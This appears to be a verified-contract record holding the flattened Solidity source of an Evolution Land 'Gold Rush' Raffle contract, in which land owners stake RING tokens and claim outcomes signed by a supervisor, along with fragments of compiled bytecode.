1626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c90821680612da557607f821691505b60208210811415612dc657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615612dfc57612dfc612dcc565b500290565b634e487b7160e01b600052603260045260246000fd5b600082821015612e2957612e29612dcc565b500390565b634e487b7160e01b600052603160045260246000fd5b6000600019821415612e5857612e58612dcc565b5060010190565b600060208284031215612e7157600080fd5b5051919050565b600060208284031215612e8a57600080fd5b8151610c0681612c54565b60008219821115612ea857612ea8612dcc565b500190565b600082612eca57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612ee157600080fd5b8151610c0681612b0e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612f3c5784516001600160a01b031683529383019391830191600101612f17565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612f7257600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63658be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e045524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122046eae98362f115598208c4bd504f86a9dccc5601ac31707005b79613c86a9e3d64736f6c634300080c0033
[ 13, 16, 5 ]
0xf1b8a9f8436800499db8186f2da2fb3e78ff7c2b
// Verified by Darwinia Network // hevm: flattened sources of src/Raffle.sol pragma solidity >0.4.13 >=0.4.23 >=0.4.24 <0.8.0 >=0.6.2 <0.8.0 >=0.6.7 <0.7.0; ////// lib/ds-math/src/math.sol /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity >0.4.13; */ contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } ////// lib/ds-stop/lib/ds-auth/src/auth.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity >=0.4.23; */ interface DSAuthority { function canCall( address src, address dst, bytes4 sig ) external view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized"); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(address(0))) { return false; } else { return authority.canCall(src, address(this), sig); } } } ////// lib/ds-stop/lib/ds-note/src/note.sol /// note.sol -- the `note' modifier, for logging calls as events // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity >=0.4.23; */ contract DSNote { event LogNote( bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint256 wad, bytes fax ) anonymous; modifier note { bytes32 foo; bytes32 bar; uint256 wad; assembly { foo := calldataload(4) bar := calldataload(36) wad := callvalue() } _; emit LogNote(msg.sig, msg.sender, foo, bar, wad, msg.data); } } ////// lib/ds-stop/src/stop.sol /// stop.sol -- mixin for enable/disable functionality // Copyright (C) 2017 DappHub, LLC // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity >=0.4.23; */ /* import "ds-auth/auth.sol"; */ /* import "ds-note/note.sol"; */ contract DSStop is DSNote, DSAuth { bool public stopped; modifier stoppable { require(!stopped, "ds-stop-is-stopped"); _; } function stop() public auth note { stopped = true; } function start() public auth note { stopped = false; } } ////// lib/zeppelin-solidity/contracts/utils/Address.sol /* pragma solidity >=0.6.2 <0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// lib/zeppelin-solidity/contracts/proxy/Initializable.sol // solhint-disable-next-line compiler-version /* pragma solidity >=0.4.24 <0.8.0; */ /* import "../utils/Address.sol"; */ /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } ////// src/interfaces/IERC20.sol /* pragma solidity ^0.6.7; */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } ////// src/interfaces/IERC223.sol /* pragma solidity ^0.6.7; */ interface IERC223 { function transfer(address to, uint amount, bytes calldata data) external returns (bool ok); function transferFrom(address from, address to, uint256 amount, bytes calldata data) external returns (bool ok); } ////// src/interfaces/IERC721.sol /* pragma solidity ^0.6.7; */ interface IERC721 { function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } ////// src/interfaces/ILandResource.sol /* pragma solidity ^0.6.7; */ interface ILandResource { function land2ResourceMineState(uint256 landId) external view returns (uint256,uint256,uint256,uint256,uint256,uint256); // function getBarItem(uint256 _tokenId, uint256 _index) external view returns (address, uint256, address); // function maxAmount() external view returns (uint256); } ////// src/interfaces/ISettingsRegistry.sol /* pragma solidity ^0.6.7; */ interface ISettingsRegistry { function uintOf(bytes32 _propertyName) external view returns (uint256); function stringOf(bytes32 _propertyName) external view returns (string memory); function addressOf(bytes32 _propertyName) external view returns (address); function bytesOf(bytes32 _propertyName) external view returns (bytes memory); function boolOf(bytes32 _propertyName) external view returns (bool); function intOf(bytes32 _propertyName) external view returns (int); function setUintProperty(bytes32 _propertyName, uint _value) external; function setStringProperty(bytes32 _propertyName, string calldata _value) external; function setAddressProperty(bytes32 _propertyName, address _value) external; function setBytesProperty(bytes32 _propertyName, bytes calldata _value) external; function setBoolProperty(bytes32 _propertyName, bool _value) external; function setIntProperty(bytes32 _propertyName, int _value) external; function getValueTypeOf(bytes32 _propertyName) external view returns (uint /* SettingsValueTypes */ ); event ChangeProperty(bytes32 indexed _propertyName, uint256 _type); } ////// src/Raffle.sol /* pragma solidity ^0.6.7; */ /* import "ds-math/math.sol"; */ /* import "ds-stop/stop.sol"; */ /* import "zeppelin-solidity/proxy/Initializable.sol"; */ /* import "./interfaces/ISettingsRegistry.sol"; */ /* import "./interfaces/ILandResource.sol"; */ /* import "./interfaces/IERC20.sol"; */ /* import "./interfaces/IERC223.sol"; */ /* import "./interfaces/IERC721.sol"; */ contract Raffle is Initializable, DSStop, DSMath { event Join(uint256 indexed eventId, uint256 indexed landId, address user, uint256 amount, address subAddr, uint256 fromLandId, uint256 toLandId); event ChangeAmount(uint256 indexed eventId, uint256 indexed landId, address user, uint256 amount); event ChangeSubAddr(uint256 indexed eventId, uint256 indexed landId, address user, address subAddr); event Exit(uint256 indexed eventId, uint256 indexed landId, address user, uint256 amount); event Win(uint256 indexed eventId, uint256 indexed landId, address user, uint256 amount, address subAddr, uint256 fromLandId, uint256 toLandId); event Lose(uint256 indexed eventId, uint256 indexed landId, address user, uint256 amount, address subAddr); event SetEvent(uint256 indexed eventId, uint256 startTime, uint256 endTime, uint256 finalTime, uint256 expireTime, uint256 toLandId); // 0x434f4e54524143545f4f424a4543545f4f574e45525348495000000000000000 bytes32 public constant CONTRACT_OBJECT_OWNERSHIP = "CONTRACT_OBJECT_OWNERSHIP"; // 0x434f4e54524143545f52494e475f45524332305f544f4b454e00000000000000 bytes32 public constant CONTRACT_RING_ERC20_TOKEN = "CONTRACT_RING_ERC20_TOKEN"; //0x434f4e54524143545f47454e455349535f484f4c444552000000000000000000 bytes32 public constant CONTRACT_GENESIS_HOLDER = "CONTRACT_GENESIS_HOLDER"; // 0x434f4e54524143545f524556454e55455f504f4f4c0000000000000000000000 bytes32 public constant CONTRACT_REVENUE_POOL = "CONTRACT_REVENUE_POOL"; // Join Gold Rush Event minimum RING amount uint256 public constant MINI_AMOUNT = 1 ether; // user raffle info struct Item { address user; // user address uint256 balance; // user submit amount address subAddr; // crab dvm address for receiving new land } struct Conf { // Gold Rush start time uint256 startTime; // Gold Rush end time uint256 endTime; // Gold Rush lottery final time uint256 finalTime; // Gold Rush lottery expire time uint256 expireTime; // Gold Rush to land id uint256 toLandId; } // Gold Rush begin from start block ISettingsRegistry public registry; address public supervisor; // Gold Rush from land id uint256 public fromLandId; // EventID => Conf mapping(uint256 => Conf) public events; // EventID => LandID => Item mapping(uint256 => mapping(uint256 => Item)) public lands; modifier duration(uint256 _eventId) { Conf storage conf = events[_eventId]; require(block.timestamp >= conf.startTime && block.timestamp < conf.endTime, "Raffle: NOT_DURATION"); _; } function initialize(address _registry, address _supervisor, uint256 _fromLandId) public initializer { owner = msg.sender; emit LogSetOwner(msg.sender); registry = ISettingsRegistry(_registry); supervisor = _supervisor; fromLandId = _fromLandId; } /** @notice This function is used to join Gold Rust event through ETH/ERC20 Tokens @param _eventId event id which to join @param _landId The land token id which to join @param _amount The ring amount which to submit @param _subAddr The dvm address for receiving the new land */ function join(uint256 _eventId, uint256 _landId, uint256 _amount, address _subAddr) stoppable duration(_eventId) public { address ownership = registry.addressOf(CONTRACT_OBJECT_OWNERSHIP); require(msg.sender == IERC721(ownership).ownerOf(_landId), "Raffle: FORBIDDEN"); require(lands[_eventId][_landId].user == address(0), "Raffle: NOT_EMPTY"); require(_amount >= MINI_AMOUNT, "Raffle: TOO_SMALL"); { address ring = registry.addressOf(CONTRACT_RING_ERC20_TOKEN); IERC20(ring).transferFrom(msg.sender, address(this), _amount); } lands[_eventId][_landId] = Item({ user: msg.sender, balance: _amount, subAddr: _subAddr }); emit Join(_eventId, _landId, msg.sender, _amount, _subAddr, fromLandId, events[_eventId].toLandId); } function joins(uint256 _eventId, uint256[] calldata _landIds, uint256[] calldata _amounts, address[] calldata _subAddrs) external { require(_landIds.length == _amounts.length && _landIds.length == _subAddrs.length, "Raffle: INVALID_LENGTH"); for(uint256 i = 0; i < _landIds.length; i++) { join(_eventId, _landIds[i], _amounts[i], _subAddrs[i]); } } /** @notice This function is used to change the ring stake amount @param _eventId event id which to join @param _landId The land token id which to join @param _amount The new submit ring amount */ function changeAmount(uint256 _eventId, uint256 _landId, uint256 _amount) stoppable duration(_eventId) public { require(_amount >= MINI_AMOUNT, "Raffle: TOO_SMALL"); Item storage item = lands[_eventId][_landId]; require(item.user == msg.sender, "Raffle: FORBIDDEN"); require(item.balance != _amount, "Raffle: SAME_AMOUNT"); address ring = registry.addressOf(CONTRACT_RING_ERC20_TOKEN); if (_amount > item.balance) { uint256 diff = sub(_amount, item.balance); IERC20(ring).transferFrom(msg.sender, address(this), diff); } else { uint256 diff = sub(item.balance, _amount); IERC20(ring).transfer(msg.sender, diff); } item.balance = _amount; emit ChangeAmount(_eventId, _landId, item.user, item.balance); } /** @notice This function is used to change the dvm address @param _eventId event id which to join @param _landId The land token id which to join @param _subAddr The new submit dvm address */ function changeSubAddr(uint256 _eventId, uint256 _landId, address _subAddr) stoppable duration(_eventId) public { Item storage item = lands[_eventId][_landId]; require(item.user == msg.sender, "Raffle: FORBIDDEN"); require(item.subAddr != _subAddr, "Raffle: SAME_SUBADDR"); item.subAddr = _subAddr; emit ChangeSubAddr(_eventId, _landId, item.user, item.subAddr); } /** @notice This function is used to change the ring stake amount and dvm address @param _eventId event id which to join @param _landId The land token id which to join @param _amount The new submit ring amount @param _subAddr The new submit dvm address */ function change(uint256 _eventId, uint256 _landId, uint256 _amount, address _subAddr) public { changeAmount(_eventId, _landId, _amount); changeSubAddr(_eventId, _landId, _subAddr); } /** @notice This function is used to exit Gold Rush event @param _eventId event id which to join @param _landId The land token id which to exit */ function exit(uint256 _eventId, uint256 _landId) stoppable duration(_eventId) public { Item storage item = lands[_eventId][_landId]; require(item.user == msg.sender, "Raffle: FORBIDDEN"); address ring = registry.addressOf(CONTRACT_RING_ERC20_TOKEN); IERC20(ring).transfer(msg.sender, item.balance); emit Exit(_eventId, _landId, item.user, item.balance); delete lands[_eventId][_landId]; } // This function is used to redeem prize after lottery // _hashmessage = hash("${address(this)}${fromLandId}${toLandId}${_eventId}${_landId}${_won}") // _v, _r, _s are from supervisor's signature on _hashmessage // while the _hashmessage is signed by supervisor function draw(uint256 _eventId, uint256 _landId, bool _won, bytes32 _hashmessage, uint8 _v, bytes32 _r, bytes32 _s) stoppable public { Conf storage conf = events[_eventId]; require(supervisor == _verify(_hashmessage, _v, _r, _s), "Raffle: VERIFY_FAILED"); require(keccak256(abi.encodePacked(address(this), fromLandId, conf.toLandId, _eventId, _landId, _won)) == _hashmessage, "Raffle: HASH_INVAILD"); Item storage item = lands[_eventId][_landId]; require(item.user == msg.sender, "Raffle: FORBIDDEN"); address ring = registry.addressOf(CONTRACT_RING_ERC20_TOKEN); if (_won) { //TODO:: check Data require(block.timestamp >= conf.finalTime && block.timestamp < conf.expireTime, "Raffle: NOT_PRIZE OR EXPIRATION"); address ownership = registry.addressOf(CONTRACT_OBJECT_OWNERSHIP); // return land to eve (genesisHolder) IERC721(ownership).transferFrom(msg.sender, registry.addressOf(CONTRACT_GENESIS_HOLDER), _landId); IERC223(ring).transfer(registry.addressOf(CONTRACT_REVENUE_POOL), item.balance, abi.encodePacked(bytes12(0), item.user)); emit Win(_eventId, _landId, item.user, item.balance, item.subAddr, fromLandId, conf.toLandId); delete lands[_eventId][_landId]; } else { require(block.timestamp >= conf.finalTime, "Raffle: NOT_PRIZE"); IERC20(ring).transfer(item.user, item.balance); emit Lose(_eventId, _landId, item.user, item.balance, item.subAddr); delete lands[_eventId][_landId]; } } function setSupervisor(address _newSupervisor) public auth { supervisor = _newSupervisor; } function setEvent(uint256 _eventId, uint256 _toLandId, uint256 _start, uint256 _end, uint256 _final, uint256 _expire) public auth { events[_eventId] = Conf({ startTime: _start, endTime: _end, finalTime: _final, expireTime: _expire, toLandId: _toLandId }); emit SetEvent(_eventId, events[_eventId].startTime, events[_eventId].endTime, events[_eventId].finalTime, events[_eventId].expireTime, events[_eventId].toLandId); } function _verify(bytes32 _hashmessage, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = "\x19EvolutionLand Signed Message:\n32"; bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, _hashmessage)); address signer = ecrecover(prefixedHash, _v, _r, _s); return signer; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063612264a7116100f9578063a22709e411610097578063bf7e214f11610071578063bf7e214f146105a2578063d669a741146105aa578063f32a914c146105e2578063ff6bf2a8146105ea576101a9565b8063a22709e41461058a578063be9a655514610592578063bef2613a1461059a576101a9565b80637b103999116100d35780637b1039991461054c5780638da5cb5b146105545780639299eb301461055c5780639a2d03fa14610582576101a9565b8063612264a7146104bc57806375f12b211461050a5780637a9e5e4b14610526576101a9565b80631e076ec6116101665780633133f084116101405780633133f084146103435780633717df331461034b57806348a528f41461046657806356e4b68b14610498576101a9565b80631e076ec6146102b15780632a0b45df146102f75780632af9cc4114610320576101a9565b806307da68f5146101ae5780630b791430146101b857806313a8ef541461020057806313af40351461021a57806316152dc5146102405780631794bb3c1461027b575b600080fd5b6101b6610622565b005b6101d5600480360360208110156101ce57600080fd5b50356106fe565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b61020861072d565b60408051918252519081900360200190f35b6101b66004803603602081101561023057600080fd5b50356001600160a01b0316610733565b6101b6600480360360c081101561025657600080fd5b5080359060208101359060408101359060608101359060808101359060a001356107e1565b6101b66004803603606081101561029157600080fd5b506001600160a01b0381358116916020810135909116906040013561097c565b6101b6600480360360e08110156102c757600080fd5b50803590602081013590604081013515159060608101359060ff6080820135169060a08101359060c00135610a94565b6101b66004803603606081101561030d57600080fd5b50803590602081013590604001356112db565b6101b66004803603604081101561033657600080fd5b50803590602001356116c1565b610208611986565b6101b66004803603608081101561036157600080fd5b8135919081019060408101602082013564010000000081111561038357600080fd5b82018360208201111561039557600080fd5b803590602001918460208302840111640100000000831117156103b757600080fd5b9193909290916020810190356401000000008111156103d557600080fd5b8201836020820111156103e757600080fd5b8035906020019184602083028401116401000000008311171561040957600080fd5b91939092909160208101903564010000000081111561042757600080fd5b82018360208201111561043957600080fd5b8035906020019184602083028401116401000000008311171561045b57600080fd5b509092509050611998565b6101b66004803603606081101561047c57600080fd5b50803590602081013590604001356001600160a01b0316611a58565b6104a0611c50565b604080516001600160a01b039092168252519081900360200190f35b6104df600480360360408110156104d257600080fd5b5080359060200135611c5f565b604080516001600160a01b039485168152602081019390935292168183015290519081900360600190f35b610512611c96565b604080519115158252519081900360200190f35b6101b66004803603602081101561053c57600080fd5b50356001600160a01b0316611ca6565b6104a0611d5c565b6104a0611d6b565b6101b66004803603602081101561057257600080fd5b50356001600160a01b0316611d7a565b610208611dfa565b610208611e18565b6101b6611e38565b610208611f0c565b6104a0611f28565b6101b6600480360360808110156105c057600080fd5b50803590602081013590604081013590606001356001600160a01b0316611f3d565b610208612483565b6101b66004803603608081101561060057600080fd5b50803590602081013590604081013590606001356001600160a01b031661248f565b610638336000356001600160e01b0319166124a5565b610680576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b60018054600160a01b60ff60a01b19909116179055604080513480825260208201838152369383018490526004359360243593849286923392600080356001600160e01b03191693889391929060608201848480828437600083820152604051601f909101601f1916909201829003965090945050505050a4505050565b600560205260009081526040902080546001820154600283015460038401546004909401549293919290919085565b60045481565b610749336000356001600160e01b0319166124a5565b610791576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a250565b6107f7336000356001600160e01b0319166124a5565b61083f576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b6040518060a0016040528085815260200184815260200183815260200182815260200186815250600560008881526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040155905050857f575cfea836c9ab24a44b0d12f9dda0220ec972d5f47a4a49379bafd6d65c4ec76005600089815260200190815260200160002060000154600560008a815260200190815260200160002060010154600560008b815260200190815260200160002060020154600560008c815260200190815260200160002060030154600560008d815260200190815260200160002060040154604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a2505050505050565b600054610100900460ff1680610995575061099561259b565b806109a3575060005460ff16155b6109de5760405162461bcd60e51b815260040180806020018281038252602e81526020018061271e602e913960400191505060405180910390fd5b600054610100900460ff16158015610a09576000805460ff1961ff0019909116610100171660011790555b600180546001600160a01b031916339081179091556040517fce241d7ca1f669fee44b6fc00b8eba2df3bb514eed0f6f668f8f89096e81ed9490600090a2600280546001600160a01b038087166001600160a01b031992831617909255600380549286169290911691909117905560048290558015610a8e576000805461ff00191690555b50505050565b600154600160a01b900460ff1615610ae8576040805162461bcd60e51b8152602060048201526012602482015271191ccb5cdd1bdc0b5a5ccb5cdd1bdc1c195960721b604482015290519081900360640190fd5b6000878152600560205260409020610b02858585856125ac565b6003546001600160a01b03908116911614610b5c576040805162461bcd60e51b8152602060048201526015602482015274149859999b194e8815915492519657d19052531151605a1b604482015290519081900360640190fd5b6004805490820154604080513060601b60208083019190915260348201949094526054810192909252607482018b9052609482018a905288151560f81b60b48301528051609581840301815260b5909201905280519101208514610bfe576040805162461bcd60e51b8152602060048201526014602482015273149859999b194e88121054d217d253959052531160621b604482015290519081900360640190fd5b60008881526006602090815260408083208a8452909152902080546001600160a01b03163314610c69576040805162461bcd60e51b81526020600482015260116024820152702930b33336329d102327a92124a22222a760791b604482015290519081900360640190fd5b60025460408051632ecd14d360e21b81526000805160206126fe833981519152600482015290516000926001600160a01b03169163bb34534c916024808301926020929190829003018186803b158015610cc257600080fd5b505afa158015610cd6573d6000803e3d6000fd5b505050506040513d6020811015610cec57600080fd5b5051905087156111655782600201544210158015610d0d5750826003015442105b610d5e576040805162461bcd60e51b815260206004820152601f60248201527f526166666c653a204e4f545f5052495a45204f522045585049524154494f4e00604482015290519081900360640190fd5b60025460408051632ecd14d360e21b8152780434f4e54524143545f4f424a4543545f4f574e45525348495603c1b600482015290516000926001600160a01b03169163bb34534c916024808301926020929190829003018186803b158015610dc557600080fd5b505afa158015610dd9573d6000803e3d6000fd5b505050506040513d6020811015610def57600080fd5b505160025460408051632ecd14d360e21b81527621a7a72a2920a1aa2fa3a2a722a9a4a9afa427a62222a960491b60048201